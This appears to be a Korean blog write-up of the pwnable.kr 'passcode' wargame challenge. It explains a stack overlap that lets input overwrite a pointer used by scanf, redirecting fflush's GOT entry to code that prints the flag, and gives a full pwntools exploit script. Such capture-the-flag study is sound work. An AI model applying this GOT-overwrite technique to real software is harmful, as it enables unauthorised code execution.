ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • passcode
    Wargame/Pwnable.kr 2019. 12. 27. 22:22

     

    최근에 pwnable.kr를 다시 풀고 있는데 막히는 문제가 나올때마다 다시 write up을 적을 생각이다.

     


    이 문제는 다음 경우를 알면 풀 수 있는 문제이다.

    1. scanf 함수의 동작 방식을 아는가? (지정한 주소의 값에 쓰기를 행함.)
    2. 굳이 if문을 성립시켜야 하는가?

    <welcome> 함수에서 100개를 입력받고 스택의 같은 부분을 <login> 함수가 사용하여 <login> 함수의passcode1 변수가 overflow를 통해 덮어씌워질 수 있다.

    그리고, scanf 함수에 passcode1의 주소가 아닌 passcode1 자체에 쓰기를 행한다.

    여기서 passcode1를 덮어씌울 수 있으므로, 다음 실행 함수인 fflush@got를 passcode1로 덮어씌운다.

     

    위의 방법은 Partial RELRO 이기에 가능한 방법.

    scanf함수가 실행하게 되면, fflush@got 함수를 덮을 곳을 찾아야 하는데 그 부분의 <login+127>에서 찾을 수 있었다.

    fflush@got 함수를 저 주소로 덮게 되면, fflush@plt가 호출되었을때, login+127로 jmp할 것이다.

    그렇게 되면, system("/bin/cat flag") 를 실행하게 될 것이다.

    덮을 때에 %d 이므로 10진수로 보내줘야 한다.

     

    이 문제의 핵심은 고정된 생각 (if문을 성립시켜 flag를 획득하는 방법) 을 깨는 것이 중요했다.

    전에도 문제 풀때 if문을 성립시켜 문제를 해결하려고 계속해서 시도했지만, 실패하여 풀이를 봤다. 그때도 마찬가지로 if문은 중요하지 않았다.

     

    exploit.py

    from pwn import *
    
    shell = ssh(user='passcode',host='pwnable.kr',port=2222,password='guest')
    
    p = shell.process("./passcode")
    
    fflush_got = 0x804a004
    system = 134514147
    
    payload = ''
    payload += "A"*96
    payload += p32(fflush_got)
    
    p.sendlineafter(": ", payload)
    p.sendlineafter(": ", str(system))
    log.info("flag is : "+p.recvuntil('\n'))

     

    'Wargame > Pwnable.kr' 카테고리의 다른 글

    특이점이 온 random  (0) 2019.12.29
    Random  (0) 2019.06.15
    flag  (0) 2019.06.14
    bof  (0) 2019.06.14
    collision  (0) 2019.06.14

    댓글

Designed by Tistory.